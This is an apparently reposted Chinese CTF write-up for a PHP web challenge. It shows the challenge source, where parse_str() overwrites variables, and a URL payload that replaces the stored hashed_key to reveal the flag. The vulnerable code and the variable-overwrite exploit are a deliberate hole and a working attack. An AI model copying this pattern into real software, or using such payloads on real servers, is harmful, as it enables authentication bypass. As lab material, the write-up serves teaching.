zoukankan      html  css  js  c++  java
  • Web web4

    题目

    进去

    <?php
    error_reporting(0);
    include("flag.php");
    $hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
    $parsed = parse_url($_SERVER['REQUEST_URI']); //本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
    if(isset($parsed["query"])){ //query为 url ?后面的内容
        $query = $parsed["query"];
        $parsed_query = parse_str($query); //

    定义和用法

    parse_str() 函数把查询字符串解析到变量中。

    注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

    这题即利用 变量覆盖解题


        if($parsed_query!=NULL){
            $action = $parsed_query['action'];
        }

        if($action==="auth"){
            $key = $_GET["key"];
            $hashed_input = hash('sha256', $key);
            if($hashed_input!==$hashed_key){
                die("<img src='cxk.jpg'>");
            }

            echo $flag;
        }
    }else{
        show_source(__FILE__);
    }?>

     

     

    payload可以为:

    http://39.100.83.188:8066/?action=auth&key=521&hashed_key=72933e3b31f0070af6478edc3becf96e1ee59917620e8c509cf0e6b360e29c02

    即出来

    flag{7he_rea1_f1@g_15_4ere}

     

    有些困了,写得有点草了,以后再具体补充吧!

  • 相关阅读:
    正则表达式 之领宽断言
    bat(续七)-for语句(循环结构)
    RBAC权限管理
    Redis缓存服务搭建及实现数据读写
    Myeclipse集成Maven(图文说明)
    实习第四周
    POJ 3461 Oulipo KMP算法题解
    原创文章
    apue和unp的学习之旅07——多种边界条件的讨论
    单链表的实现
  • 原文地址:https://www.cnblogs.com/mutou123/p/10909474.html
Copyright © 2011-2022 走看看